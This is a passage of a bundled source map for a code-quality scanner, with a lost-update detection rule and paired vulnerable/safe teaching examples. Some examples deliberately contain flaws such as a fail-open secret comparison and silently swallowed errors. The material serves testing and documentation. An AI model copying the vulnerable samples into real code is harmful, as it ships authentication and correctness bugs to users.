narrowed away from.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** Money and inventory only. Deliberately short — see the note above. */\nconst COUNTER_COLUMN =\n /^(?:credits?|balance|stock|quantity|qty|tokens?|seats?|points?|inventory|remaining|available)$/i;\n\n/** A write, in the dialects the corpus uses. */\nconst WRITE_CALL =\n /\\bUPDATE\\s+\\w|\\.\\s*update\\s*\\(|\\.\\s*set\\s*\\(|\\bprisma\\s*\\.\\s*\\w+\\s*\\.\\s*update\\b/i;\n\n/**\n * Anything that makes the operation atomic, or serialises it.\n *\n * Each of these is a correct implementation, and each one killed a draft:\n * the ORM's own atomic operators, SQL that does the arithmetic in the\n * database, a stored procedure, an explicit lock, and an optimistic predicate\n * that makes the write fail rather than clobber.\n */\nconst ATOMIC_OR_SERIALISED =\n /\\b(?:increment|decrement)\\s*:|\\bsql`[^`]*\\b\\w+\\s*[-+]\\s*|\\bSET\\s+(\\w+)\\s*=\\s*\\1\\s*[-+]|\\.\\s*rpc\\s*\\(|\\btransaction\\s*\\(|\\bBEGIN\\s+IMMEDIATE\\b|\\bFOR\\s+UPDATE\\b|\\block\\s*\\.\\s*acquire\\s*\\(|\\bmutex\\b|\\bredlock\\b|\\bWHERE[^;]{0,120}\\b\\w+\\s*=\\s*\\?[^;]{0,40}\\bAND\\b[^;]{0,120}\\bversion\\b/i;\n\n/** A one-shot job has no concurrent writer to race. */\nconst SCHEDULED_PATH = /(?:^|\\/)(?:cron|jobs?|scheduled|tasks?|workers?)\\//i;\n\n/** `INSERT … RETURNING balance` — the row was created in this function. */\nconst INSERT_RETURNING = /\\bINSERT\\b[\\s\\S]{0,400}?\\bRETURNING\\b/i;\n\nfunction memberColumn(node: Node): string | null {\n if (node.type !== \"MemberExpression\" && node.type !== \"OptionalMemberExpression\") return null;\n const prop = (node as { property: Node }).property;\n if (prop.type !== \"Identifier\") return null;\n return COUNTER_COLUMN.test(prop.name) ? prop.name : null;\n}\n\n/** The root identifier of `a.b.c` → `a`. */\nfunction rootObject(node: Node): string | null {\n let cur: Node = node;\n while (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\") {\n cur = (cur as { object: Node }).object;\n }\n return cur.type === \"Identifier\" ? cur.name : null;\n}\n\nconst MAX_PER_SCAN = 3;\n\nexport const lostUpdateCounter: QualityRule = {\n id: \"QA013\",\n title: \"A balance is read, changed in JavaScript, and written back\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This reads the current value, does the arithmetic in the application, and writes the result back. Two requests that arrive together both read the same starting value and both write the same answer, so one of the two changes is lost — a spend that was never charged, or stock sold twice. The window is the round trip between the read and the write, and nothing about it shows up in development, where requests arrive one at a time.\",\n fix: \"Let the database do the arithmetic, so the read and the write are one statement: `UPDATE users SET credits = credits - 1 WHERE id = ? AND credits >= 1`, or the ORM's atomic form (`{ credits: { decrement: 1 } }`). Check the affected row count to find out whether it applied. A transaction or an explicit lock also works.\",\n precisionNotes:\n \"NOT ENABLED BY DEFAULT — its false-positive rate is unmeasured, not low. This repository contains no counters at all, so its 0 fires are 0 out of 0, and every other rule in this catalogue quotes a real denominator. It ships so it can be run against a corpus that contains counters. The narrowing, for when it is: the column must be on a short money/inventory allowlist, because a denormalised comment_count reconciled nightly loses an update and nobody cares, and only money and inventory make the consequence sentence true; the read local must be a DIRECT operand of `+`/`-`, so an idempotent absolute assignment computed from a plan table is not reported; exonerate on any atomic or serialised form (ORM increment/decrement, SQL arithmetic, .rpc(, a transaction, an explicit lock, FOR UPDATE, an optimistic version predicate); exonerate when the db handle is a PARAMETER of the enclosing function, because the caller opened the transaction; exonerate a read that is a RETURNING from an INSERT in the same function, since the row was created here; and skip cron and job paths, which have one invocation and no concurrent writer. Capped at one finding per file and three per scan, the volume discipline QA006 already uses.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (hits.length >= MAX_PER_SCAN) break;\n if (file.excluded) continue;\n if (!file.isServer) continue;\n if (SCHEDULED_PATH.test(file.path)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n let firedInFile = false;\n\n traverse(parsed.ast, {\n BinaryExpression(path) {\n if (firedInFile || hits.length >= MAX_PER_SCAN) return;\n const op = path.node.operator;\n if (op !== \"+\" && op !== \"-\") return;\n\n // One side must be `local.credits` — a DIRECT operand, so an\n // absolute assignment that merely mentions the value is not this.\n const left = path.node.left as Node;\n const right = path.node.right as Node;\n const column = memberColumn(left) ?? memberColumn(right);\n if (!column) return;\n const readLocal = rootObject(memberColumn(left) ? left : right);\n if (!readLocal) return;\n\n const fn = path.getFunctionParent();\n if (!fn) return;\n const fnSource = file.code.slice(nodeStart(fn.node), nodeEnd(fn.node));\n\n // The arithmetic has to be going INTO a write.\n if (!WRITE_CALL.test(fnSource)) return;\n\n // Any atomic or serialised form in the enclosing function OR ANY\n // FUNCTION ABOVE IT. The ancestors matter: both of the idioms that\n // serialise this — `lock.acquire(key, async () => { … })` and\n // `db.transaction(async (tx) => { … })` — put the arithmetic inside\n // a callback, so the nearest function parent is that callback and\n // cannot see the thing that makes the code correct. An earlier draft\n // checked only the nearest function and reported the locked version.\n let serialised = false;\n for (\n let scope: NodePath<BabelFunction> | null = fn;\n scope !== null && !serialised;\n scope = scope.getFunctionParent()\n ) {\n const src = file.code.slice(nodeStart(scope.node), nodeEnd(scope.node));\n if (ATOMIC_OR_SERIALISED.test(src)) serialised = true;\n }\n if (serialised) return;\n // The row was created here, so nobody else has it yet.\n if (INSERT_RETURNING.test(fnSource)) return;\n // The caller owns the transaction.\n if (handleIsParameter(fn, fnSource)) return;\n // The local has to come from a read, not from the request body.\n if (!new RegExp(`\\\\b(?:const|let|var)\\\\s+(?:\\\\{[^}]*\\\\}|${readLocal})\\\\s*=\\\\s*await\\\\b`).test(fnSource)) return;\n\n firedInFile = true;\n hits.push({\n file: file.path,\n line: lineAt(file.content, nodeStart(path.node)),\n detail: `\\`${readLocal}.${column}\\` is read, changed here, and written back, so two requests that arrive together both start from the same value and one of the two changes is lost. Let the database do the arithmetic instead.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Does the enclosing function take its database handle as a parameter?\n *\n * `export async function spend(tx, uid, n)` is called inside a transaction the\n * caller opened, and that transaction is the serialisation. Structural, single\n * file, and not a naming convention.\n */\nfunction handleIsParameter(fn: NodePath<BabelFunction>, source: string): boolean {\n const params = fn.node.params;\n for (const p of params) {\n if (p.type !== \"Identifier\") continue;\n if (/^(?:tx|trx|db|conn|client|transaction)$/i.test(p.name)) return true;\n // A parameter actually used as a query handle in this function.\n if (new RegExp(`\\\\b${p.name}\\\\s*\\\\.\\\\s*(?:execute|run|query|update|insert)\\\\s*\\\\(`).test(source)) {\n return true;\n }\n }\n return false;\n}\n","/**\n * Worked examples for the quality catalogue, one vulnerable/safe pair per rule.\n *\n * These are published on xploitscan.com/quality/<id>, which is the reason they\n * are here and not in the web package: `quality.test.ts` runs every one of them\n * through the real scanner and asserts that the vulnerable sample fires its own\n * rule and the safe sample does not. A page that shows a reader \"this is what\n * we catch\" has to be right, and the only way to keep it right through a year\n * of rule edits is to make a wrong example fail the build.\n *\n * Writing them this way also found things. QA002's first draft ended in\n * `setRevoked(true)`, which is not a success assertion the rule recognises, so\n * the \"vulnerable\" sample was quietly correct code. QA004's used a bare\n * comparison rather than an interpolated secret, and QA005's had no click\n * affordance. All three would have shipped as documentation of behaviour the\n * scanner does not have.\n */\nexport interface QualityExample {\n /** Path the sample is scanned at — several rules gate on the path shape. */\n path: string;\n language: string;\n /** Fires the rule. */\n vulnerable: string;\n /** The same code, corrected. Must NOT fire the rule. */\n safe: string;\n /** What changed between them, in one sentence. */\n difference: string;\n}\n\nexport const QUALITY_EXAMPLES: Record<string, QualityExample> = {\n QA001: {\n path: \"supabase/functions/list-items/index.ts\",\n language: \"typescript\",\n difference:\n \"The catch answers with 500 and an error instead of 200 and an empty list, so the caller can tell a broken query from an account with no items.\",\n vulnerable: `Deno.serve(async (req) => {\n try {\n const { data } = await supabase.from(\"items\").select(\"*\");\n return new Response(JSON.stringify({ items: data }), { status: 200 });\n } catch (err) {\n console.error(err);\n return new Response(JSON.stringify({ items: [] }), { status: 200 });\n }\n});`,\n safe: `Deno.serve(async (req) => {\n try {\n const { data } = await supabase.from(\"items\").select(\"*\");\n return new Response(JSON.stringify({ items: data }), { status: 200 });\n } catch (err) {\n console.error(err);\n return new Response(JSON.stringify({ error: \"Could not load items\" }), { status: 500 });\n }\n});`,\n },\n\n QA009: {\n path: \"app/settings/ApiKeysSection.tsx\",\n language: \"tsx\",\n difference:\n \"The loader checks the response and sets an error the page can render, so a failed read no longer looks like an account with no keys.\",\n vulnerable: `\"use client\";\n\nexport function ApiKeysSection() {\n const [keys, setKeys] = useState([]);\n\n const load = async () => {\n try {\n const res = await fetch(\"/api/api-keys\");\n const data = await res.json();\n setKeys(data.keys || []);\n } catch {\n /* ignore */\n }\n };\n\n useEffect(() => { load(); }, []);\n}`,\n safe: `\"use client\";\n\nexport function ApiKeysSection() {\n const [keys, setKeys] = useState([]);\n const [loadError, setLoadError] = useState(null);\n\n const load = async () => {\n const res = await fetch(\"/api/api-keys\");\n if (!res.ok) {\n setLoadError(\"Could not load your API keys. Try again.\");\n return;\n }\n const data = await res.json();\n setKeys(data.keys ?? []);\n };\n\n useEffect(() => { load(); }, []);\n}`,\n },\n\n QA010: {\n path: \"app/checklist/page.tsx\",\n language: \"tsx\",\n difference:\n \"The arming flag is set on the success path only and the failure is recorded separately, so a load that threw leaves autosave disarmed and the saved state untouched.\",\n vulnerable: `\"use client\";\n\nexport function Checklist() {\n const [overrides, setOverrides] = useState({});\n const [stateLoaded, setStateLoaded] = useState(false);\n\n useEffect(() => {\n (async () => {\n try {\n const res = await fetch(\"/api/checklist\");\n const data = await res.json();\n if (data.state) setOverrides(data.state.overrides);\n } catch {\n // Non-critical\n } finally {\n setStateLoaded(true);\n }\n })();\n }, []);\n\n const saveState = useCallback(() => {\n fetch(\"/api/checklist\", { method: \"POST\", body: JSON.stringify({ overrides }) });\n }, [overrides]);\n\n useEffect(() => {\n if (stateLoaded) saveState();\n }, [overrides, stateLoaded, saveState]);\n}`,\n safe: `\"use client\";\n\nexport function Checklist() {\n const [overrides, setOverrides] = useState({});\n const [stateLoaded, setStateLoaded] = useState(false);\n const [stateLoadFailed, setStateLoadFailed] = useState(false);\n\n useEffect(() => {\n (async () => {\n try {\n const res = await fetch(\"/api/checklist\");\n if (!res.ok) throw new Error(\\`checklist load failed: HTTP \\${res.status}\\`);\n const data = await res.json();\n if (data.state) setOverrides(data.state.overrides);\n setStateLoaded(true);\n } catch {\n setStateLoadFailed(true);\n }\n })();\n }, []);\n\n const saveState = useCallback(() => {\n fetch(\"/api/checklist\", { method: \"POST\", body: JSON.stringify({ overrides }) });\n }, [overrides]);\n\n useEffect(() => {\n if (stateLoaded && !stateLoadFailed) saveState();\n }, [overrides, stateLoaded, stateLoadFailed, saveState]);\n}`,\n },\n\n QA011: {\n path: \"app/api/scans/route.ts\",\n language: \"typescript\",\n difference:\n \"The skipped path answers 503 with an error instead of the success payload, so the caller can tell the scan was not stored — and retry.\",\n vulnerable: `export async function POST(request: Request) {\n const body = await request.json();\n const id = \\`scan_\\${Date.now()}\\`;\n\n const db = getDb();\n if (!db) {\n // No database configured — return success anyway\n return NextResponse.json({ scan: { id } });\n }\n\n await db.execute({\n sql: \"INSERT INTO scans (id, findings_json) VALUES (?, ?)\",\n args: [id, JSON.stringify(body.findings)],\n });\n\n return NextResponse.json({ scan: { id } });\n}`,\n safe: `export async function POST(request: Request) {\n const body = await request.json();\n const id = \\`scan_\\${Date.now()}\\`;\n\n const db = getDb();\n if (!db) {\n return NextResponse.json(\n { error: \"Scan storage is not configured — this scan was not saved.\" },\n { status: 503 },\n );\n }\n\n await db.execute({\n sql: \"INSERT INTO scans (id, findings_json) VALUES (?, ?)\",\n args: [id, JSON.stringify(body.findings)],\n });\n\n return NextResponse.json({ scan: { id } });\n}`,\n },\n\n QA012: {\n path: \"app/panel/ScanPanel.tsx\",\n language: \"tsx\",\n difference:\n \"The effect returns a cleanup that flips `cancelled`, so React disarms the in-flight request before re-running — a response for the previous selection can no longer land last and win.\",\n vulnerable: `\"use client\";\n\nexport function ScanPanel() {\n const [projectId, setProjectId] = useState(\"latest\");\n const [scan, setScan] = useState(null);\n\n useEffect(() => {\n fetch(\\`/api/scans/\\${projectId}\\`)\n .then((r) => r.json())\n .then((d) => setScan(d.scan));\n }, [projectId]);\n\n return (\n <select value={projectId} onChange={(e) => setProjectId(e.target.value)}>\n {/* … */}\n </select>\n );\n}`,\n safe: `\"use client\";\n\nexport function ScanPanel() {\n const [projectId, setProjectId] = useState(\"latest\");\n const [scan, setScan] = useState(null);\n\n useEffect(() => {\n let cancelled = false;\n fetch(\\`/api/scans/\\${projectId}\\`)\n .then((r) => r.json())\n .then((d) => {\n if (!cancelled) setScan(d.scan);\n });\n return () => {\n cancelled = true;\n };\n }, [projectId]);\n\n return (\n <select value={projectId} onChange={(e) => setProjectId(e.target.value)}>\n {/* … */}\n </select>\n );\n}`,\n },\n\n QA002: {\n path: \"app/settings/ApiKeyRow.tsx\",\n language: \"tsx\",\n difference:\n \"The failure branch tells the user instead of returning silently, so a revoke that did not happen cannot show as one that did.\",\n vulnerable: `\"use client\";\nimport { toast } from \"sonner\";\n\nexport function ApiKeyRow({ keyId }) {\n async function handleRevoke() {\n const res = await fetch(\\`/api/keys/\\${keyId}/revoke\\`, { method: \"POST\" });\n if (!res.ok) return;\n toast.success(\"API key revoked\");\n }\n\n return <button onClick={handleRevoke}>Revoke</button>;\n}`,\n safe: `\"use client\";\nimport { toast } from \"sonner\";\n\nexport function ApiKeyRow({ keyId }) {\n async function handleRevoke() {\n const res = await fetch(\\`/api/keys/\\${keyId}/revoke\\`, { method: \"POST\" });\n if (!res.ok) {\n toast.error(\"Could not revoke the key. Try again.\");\n return;\n }\n toast.success(\"API key revoked\");\n }\n\n return <button onClick={handleRevoke}>Revoke</button>;\n}`,\n },\n\n QA003: {\n path: \"app/api/billing/webhook/route.ts\",\n language: \"typescript\",\n difference:\n \"The catch rethrows, so the row is not left saying a credit was issued that never left Stripe — and the webhook is redelivered.\",\n vulnerable: `export async function POST(req) {\n const referral = await db.get(\"SELECT id FROM referrals WHERE status = 'pending' LIMIT 1\");\n await db.run(\"UPDATE referrals SET status = 'rewarded' WHERE id = ?\", referral.id);\n try {\n await stripe.customers.createBalanceTransaction(customerId, { amount: -1000, currency: \"usd\" });\n } catch (err) {\n logError(\"credit failed\", err);\n }\n return new Response(JSON.stringify({ ok: true }), { status: 200 });\n}`,\n safe: `export async function POST(req) {\n const referral = await db.get(\"SELECT id FROM referrals WHERE status = 'pending' LIMIT 1\");\n await db.run(\"UPDATE referrals SET status = 'rewarded' WHERE id = ?\", referral.id);\n try {\n await stripe.customers.createBalanceTransaction(customerId, { amount: -1000, currency: \"usd\" });\n } catch (err) {\n logError(\"credit failed\", err);\n throw err;\n }\n return new Response(JSON.stringify({ ok: true }), { status: 200 });\n}`,\n },\n\n QA004: {\n path: \"app/api/cron/cleanup/route.ts\",\n language: \"typescript\",\n difference:\n \"The secret is read once and the handler refuses to run without it, so an unset variable can no longer make the comparison succeed against \\\"Bearer undefined\\\".\",\n vulnerable: `export async function GET(req) {\n const auth = req.headers.get(\"authorization\");\n if (auth !== \\`Bearer \\${process.env.CRON_SECRET}\\`) {\n return new Response(\"Unauthorized\", { status: 401 });\n }\n await purgeExpiredRows();\n return new Response(\"ok\");\n}`,\n safe: `export async function GET(req) {\n const secret = process.env.CRON_SECRET;\n if (!secret) throw new Error(\"CRON_SECRET is not set\");\n const auth = req.headers.get(\"authorization\");\n if (auth !== \\`Bearer \\${secret}\\`) {\n return new Response(\"Unauthorized\", { status: 401 });\n }\n await purgeExpiredRows();\n return new Response(\"ok\");\n}`,\n },\n\n QA005: {\n path: \"app/components/SortableTable.tsx\",\n language: \"tsx\",\n difference:\n \"The handler moves onto a real button, which the browser makes focusable, Enter- and Space-activatable, and announces as a control.\",\n vulnerable: `export function SortableTable({ rows, onSort }) {\n return (\n <table>\n <thead>\n <tr>\n <th className=\"cursor-pointer select-none\" onClick={() => onSort(\"name\")}>\n Name\n </th>\n </tr>\n </thead>\n </table>\n );\n}`,\n safe: `export function SortableTable({ rows, onSort }) {\n return (\n <table>\n <thead>\n <tr>\n <th>\n <button type=\"button\" className=\"cursor-pointer select-none\" onClick={() => onSort(\"name\")}>\n Name\n </button>\n </th>\n </tr>\n </thead>\n </table>\n );\n}`,\n },\n\n QA006: {\n path: \"app/components/ConfirmDialog.tsx\",\n language: \"tsx\",\n difference:\n \"The panel declares itself a modal dialog, takes focus when it opens and closes on Escape, so a screen reader announces it and a keyboard can reach and leave it.\",\n vulnerable: `export function ConfirmDialog({ open, onClose, onConfirm }) {\n if (!open) return null;\n return (\n <div className=\"fixed inset-0 bg-black/50 flex items-center justify-center\">\n <div className=\"bg-white rounded-xl p-6\">\n <h2>Delete this project?</h2>\n <button onClick={onClose}>Cancel</button>\n <button onClick={onConfirm}>Delete</button>\n </div>\n </div>\n );\n}`,\n safe: `export function ConfirmDialog({ open, onClose, onConfirm }) {\n const ref = useRef(null);\n useEffect(() => {\n if (!open) return;\n ref.current?.focus();\n const onKey = (e) => { if (e.key === \"Escape\") onClose(); };\n document.addEventListener(\"keydown\", onKey);\n return () => document.removeEventListener(\"keydown\", onKey);\n }, [open, onClose]);\n\n if (!open) return null;\n return (\n <div className=\"fixed inset-0 bg-black/50 flex items-center justify-center\">\n <div\n role=\"dialog\"\n aria-modal=\"true\"\n aria-labelledby=\"confirm-title\"\n ref={ref}\n tabIndex={-1}\n className=\"bg-white rounded-xl p-6\"\n >\n <h2 id=\"confirm-title\">Delete this project?</h2>\n <button onClick={onClose}>Cancel</button>\n <button onClick={onConfirm}>Delete</button>\n </div>\n </div>\n );\n}`,\n },\n\n QA007: {\n path: \"app/api/orders/route.ts\",\n language: \"typescript\",\n difference:\n \"The query takes a bounded page, so one account with years of history cannot decide how much memory the request uses.\",\n vulnerable: `export async function GET(req) {\n const userId = await requireUser(req);\n const orders = await prisma.order.findMany({ where: { userId } });\n return Response.json({ orders });\n}`,\n safe: `export async function GET(req) {\n const userId = await requireUser(req);\n const orders = await prisma.order.findMany({ where: { userId }, take: 50 });\n return Response.json({ orders });\n}`,\n },\n\n QA008: {\n path: \"app/components/SignupForm.tsx\",\n language: \"tsx\",\n difference:\n \"The label points at the input, so a screen reader reads the field's name and clicking the text focuses the field.\",\n vulnerable: `export function SignupForm() {\n return (\n <form>\n <label>Email address</label>\n <input type=\"email\" name=\"email\" />\n </form>\n );\n}`,\n safe: `export function SignupForm() {\n return (\n <form>\n <label htmlFor=\"email\">Email address</label>\n <input id=\"email\" type=\"email\" name=\"email\" />\n </form>\n );\n}`,\n },\n};\n","import type { Finding } from \"../types.js\";\nimport { getSnippet } from \"../snippet.js\";\nimport { buildQualityContext } from \"./context.js\";\nimport type { QualityRule, QualityContext } from \"./types.js\";\nimport { silentFailedRead } from \"./rules/silent-failed-read.js\";\nimport { silentFailedWrite } from \"./rules/silent-failed-write.js\";\nimport { stateBeforeEffect } from \"./rules/state-before-effect.js\";\nimport { failOpenSecretComparison } from \"./rules/fail-open-secret-comparison.js\";\nimport { mouseOnlyControl } from \"./rules/mouse-only-control.js\";\nimport { undeclaredModal } from \"./rules/undeclared-modal.js\";\nimport { unboundedList } from \"./rules/unbounded-list.js\";\nimport { unassociatedLabel } from \"./rules/unassociated-label.js\";\nimport { failedReadEmptyState } from \"./rules/failed-read-empty-state.js\";\nimport { autosaveArmedByFailedLoad } from \"./rules/autosave-armed-by-failed-load.js\";\nimport { configSkippedWork } from \"./rules/config-skipped-work.js\";\nimport { staleResponseWins } from \"./rules/stale-response-wins.js\";\nimport { lostUpdateCounter } from \"./rules/lost-update-counter.js\";\n\nexport type { QualityRule, QualityHit, QualityContext, QualityFile } from \"./types.js\";\nexport { buildQualityContext, lineAt, isClientTarget, isServerTarget } from \"./context.js\";\nexport { QUALITY_EXAMPLES, type QualityExample } from \"./examples.js\";\n\n/**\n * The quality catalogue.\n *\n * Deliberately NOT merged into `allCustomRules`: that number is quoted in\n * pricing copy, the README, the Docker image and the freshness ledger, and it\n * means \"security rules\". These answer a different question and are counted\n * separately.\n */\nexport const qualityRules: QualityRule[] = [\n silentFailedRead,\n silentFailedWrite,\n stateBeforeEffect,\n failOpenSecretComparison,\n mouseOnlyControl,\n undeclaredModal,\n unboundedList,\n unassociatedLabel,\n failedReadEmptyState,\n autosaveArmedByFailedLoad,\n configSkippedWork,\n staleResponseWins,\n];\n\n/**\n * Rules that are written and tested but NOT run by default.\n *\n * `qualityRules` above is a claim about precision: every rule in it was\n * measured against a corpus that contained the thing it looks for, and the\n * numbers are in NARROWINGS.md. A rule whose false-positive rate is unmeasured\n * has not earned that claim, and putting it in the default set would quietly\n * spend the catalogue's credibility on an unknown.\n *\n * So they live here instead, exported so they can be run deliberately —\n * `scanQuality(files, [...qualityRules, ...unmeasuredQualityRules])` — against\n * a corpus that can actually produce a denominator. Moving one up is a\n * measurement, not a decision.\n */\nexport const unmeasuredQualityRules: QualityRule[] = [\n lostUpdateCounter,\n];\n\n/**\n * Run the quality catalogue over a whole file set.\n *\n * Parallel to scanEntropy and scanDependencies: an engine, not a rule, because\n * most of these need more than the single file the rule contract allows.\n */\nexport function scanQuality(\n /**\n * The files to scan, or a context already built for them. Building one\n * parses every file into a Babel AST and holds them all at once, so a caller\n * that needs the context for its own reasons — the measurement harness counts\n * how many files each rule class applies to — should hand it over rather than\n * pay for a second one. Taking either here, instead of a third parameter,\n * means there is no pair of arguments that can disagree.\n */\n input: { path: string; content: string }[] | QualityContext,\n rules: QualityRule[] = qualityRules,\n): Finding[] {\n const ctx = Array.isArray(input) ? buildQualityContext(input) : input;\n const findings: Finding[] = [];\n\n for (const rule of rules) {\n let hits;\n try {\n hits = rule.check(ctx);\n } catch {\n // One rule throwing must never cost the scan its other findings. A\n // quality rule is an addition to a security scan, not a gate on it.\n continue;\n }\n for (const hit of hits) {\n const file = ctx.byPath.get(hit.file);\n findings.push({\n id: `${rule.id}-${hit.file}:${hit.line}`,\n rule: rule.id,\n severity: rule.severity,\n // Every rule here shipped only with a narrowing that survived an\n // adversarial review, but none of them is a proof. \"high\" would put\n // them beside confirmed secrets.\n confidence: \"medium\",\n title: rule.title,\n description: hit.detail ?? rule.description,\n file: hit.file,\n line: hit.line,\n snippet: file ? getSnippet(file.content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AM,WAAsB,CAAC;AAE7B,aAAW,QAAQ,OAAO;AACxB,QAAI;AACJ,QAAI;AACF,aAAO,KAAK,MAAM,GAAG;AAAA,IACvB,QAAQ;AAGN;AAAA,IACF;AACA,eAAW,OAAO,MAAM;AACtB,YAAM,OAAO,IAAI,OAAO,IAAI,IAAI,IAAI;AACpC,eAAS,KAAK;AAAA,QACZ,IAAI,GAAG,KAAK,EAAE,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI;AAAA,QACtC,MAAM,KAAK;AAAA,QACX,UAAU,KAAK;AAAA;AAAA;AAAA;AAAA,QAIf,YAAY;AAAA,QACZ,OAAO,KAAK;AAAA,QACZ,aAAa,IAAI,UAAU,KAAK;AAAA,QAChC,MAAM,IAAI;AAAA,QACV,MAAM,IAAI;AAAA,QACV,SAAS,OAAO,WAAW,KAAK,SAAS,IAAI,IAAI,IAAI;AAAA,QACrD,KAAK,KAAK;AAAA,QACV,UAAU,KAAK;AAAA,QACf,QAAQ;AAAA,MACV,CAAC;AAAA,IACH;AAAA,EACF;AACA,SAAO;AACT;","names":["route","isTainted","_traverse","traverse","getSnippet","_traverse","traverse","_traverse","splitTopLevel","calleeName","FOCUSABLE_TAGS","walkNodes","tagName","attributeName","findAttribute","FUNCTION_TYPES","walkNodes","tagName","isNativeTag","attributeName","_traverse","calleeName","traverse","_traverse","_traverse","traverse","_traverse","isEffectCall","_traverse","traverse","_traverse","calleeName","_traverse","traverse","_traverse","SETTER","calleeIdentifier","isEffectCall","ident","_traverse","traverse","_traverse","MAX_PER_SCAN"]}
|
|
1
|
+
{"version":3,"sources":["../src/snippet.ts","../src/silencing.ts","../src/models.ts","../src/rule-impacts.ts","../src/exposure.ts","../src/project-context.ts","../src/vendored.ts","../src/routes.ts","../src/intent.ts","../src/ast/parse.ts","../src/ast/taint.ts","../src/ast/traverse.ts","../src/rules.ts","../src/rule-counts.ts","../src/ai-fp-filter.ts","../src/entropy-scanner.ts","../src/url-recon.ts","../src/quality/context.ts","../src/quality/rules/silent-failed-read.ts","../src/quality/rules/silent-failed-write.ts","../src/quality/rules/state-before-effect.ts","../src/quality/rules/fail-open-secret-comparison.ts","../src/quality/rules/mouse-only-control.ts","../src/quality/rules/undeclared-modal.ts","../src/quality/rules/unbounded-list.ts","../src/quality/rules/unassociated-label.ts","../src/quality/rules/failed-read-empty-state.ts","../src/quality/rules/scope.ts","../src/quality/rules/autosave-armed-by-failed-load.ts","../src/quality/rules/config-skipped-work.ts","../src/quality/rules/stale-response-wins.ts","../src/quality/rules/lost-update-counter.ts","../src/quality/examples.ts","../src/quality/index.ts"],"sourcesContent":["/**\n * Line-oriented helpers shared by every rule. Pure string manipulation — no fs\n * dependency — so safe in the CLI and in serverless/edge environments.\n *\n * Performance note (security review, June 2026): rules call `getSnippet` and a\n * line-number lookup once PER match. Both used to do `content.split(\"\\n\")` /\n * `content.substring(0, idx).split(\"\\n\")`, which is O(content) per call. A\n * pathological single- or multi-line payload that produces O(content) matches\n * therefore drove O(content^2) CPU and pinned the public scan endpoint (a\n * remote DoS). We memoize the split + line-start offsets per content string\n * (rules run synchronously over one file at a time, so a by-reference cache of\n * size 1 hits for every match and every rule on that file). With the cache,\n * `getSnippet` is O(contextLines) and `lineNumberAt` is O(log lines) per call —\n * the whole scan is O(n log n) with byte-identical output to the old code.\n */\n\nlet cacheContent: string | null = null;\nlet cacheLines: string[] = [];\nlet cacheOffsets: number[] = []; // cacheOffsets[i] = char index where line i (0-based) starts\n\nfunction lineIndex(content: string): { lines: string[]; offsets: number[] } {\n if (content === cacheContent) return { lines: cacheLines, offsets: cacheOffsets };\n const lines = content.split(\"\\n\");\n const offsets = new Array<number>(lines.length);\n let off = 0;\n for (let i = 0; i < lines.length; i++) {\n offsets[i] = off;\n off += lines[i].length + 1; // +1 for the \"\\n\" that split removed\n }\n cacheContent = content;\n cacheLines = lines;\n cacheOffsets = offsets;\n return { lines, offsets };\n}\n\n/**\n * 1-based line number containing character `index`. Replaces the\n * `content.substring(0, index).split(\"\\n\").length` idiom (which was O(content)\n * per call) with an O(log lines) binary search over memoized line offsets.\n */\nexport function lineNumberAt(content: string, index: number): number {\n const { offsets } = lineIndex(content);\n let lo = 0;\n let hi = offsets.length - 1;\n let ans = 0;\n while (lo <= hi) {\n const mid = (lo + hi) >> 1;\n if (offsets[mid] <= index) {\n ans = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n return ans + 1;\n}\n\n/**\n * Return a small code snippet around a given line number with a `>` marker on\n * the matched line.\n */\nexport function getSnippet(\n content: string,\n line: number,\n contextLines = 2,\n): string {\n const { lines } = lineIndex(content);\n const start = Math.max(0, line - 1 - contextLines);\n const end = Math.min(lines.length, line + contextLines);\n\n const out: string[] = [];\n for (let i = start; i < end; i++) {\n const lineNum = i + 1;\n const marker = lineNum === line ? \">\" : \" \";\n out.push(`${marker} ${lineNum.toString().padStart(4)} | ${lines[i]}`);\n }\n return out.join(\"\\n\");\n}\n","/**\n * Inline finding suppression — the `// VC###-OK: <reason>` marker.\n *\n * Lives in its own module because both the regex rules (rules.ts) and the\n * entropy scanner (entropy-scanner.ts) need it, and this repo has been bitten\n * repeatedly by the same duplication pattern: `calculateGrade` had three\n * copies, the score→letter ladder had three, `NON_APP_PATH_PATTERNS` had two\n * that had already drifted. Import, don't restate.\n */\n\n/**\n * Check whether a finding has been silenced via an inline comment marker.\n *\n * Supported placements:\n * 1. Same line, trailing: `someCode(); // VC146-OK: magic-link token gates this`\n * 2. Comment block above: `// VC146-OK: magic-link token gates this`\n * `// (explanation may wrap across lines)`\n * `someCode();`\n * 3. Multi-line block: `/* VC146-OK: ... *\\/` above the match\n *\n * The marker is `<RULE-ID>-OK` (with optional `:` and explanation) or the\n * wildcard `scanner-OK`. Both `#` (Python/Ruby/sh) and `//` (JS/TS/Go)\n * comment prefixes are accepted.\n *\n * Rationale: some findings aren't a regex-tightening problem — they're \"I\n * have reviewed this and accept it here.\" An intentionally public OG-image\n * endpoint is genuinely unauthenticated; the rule is right and the developer\n * is also right. Loosening the regex would weaken the rule for everyone,\n * whereas an inline marker keeps the rule strict and gives one site an\n * explicit, self-documenting escape valve.\n *\n * Note this is deliberately NOT wired into findMatches() globally — that\n * would opt every rule in at once. Rules opt in individually, either by\n * calling this directly from their match loop or by passing their results\n * through filterSilenced().\n */\nexport function isInlineSilenced(content: string, matchIndex: number, ruleId: string): boolean {\n const lines = content.split(\"\\n\");\n const matchLineNum = content.substring(0, matchIndex).split(\"\\n\").length - 1;\n return isLineSilenced(lines, matchLineNum, ruleId);\n}\n\n/**\n * Line-indexed variant. The entropy scanner walks the file line by line and\n * never computes character offsets, so making it reconstruct one just to call\n * the index-based entry point would be wasted work on every finding.\n *\n * `lineIdx` is 0-based, matching `content.split(\"\\n\")`.\n */\nexport function isLineSilenced(lines: string[], lineIdx: number, ruleId: string): boolean {\n const matchLine = lines[lineIdx] ?? \"\";\n\n const marker = new 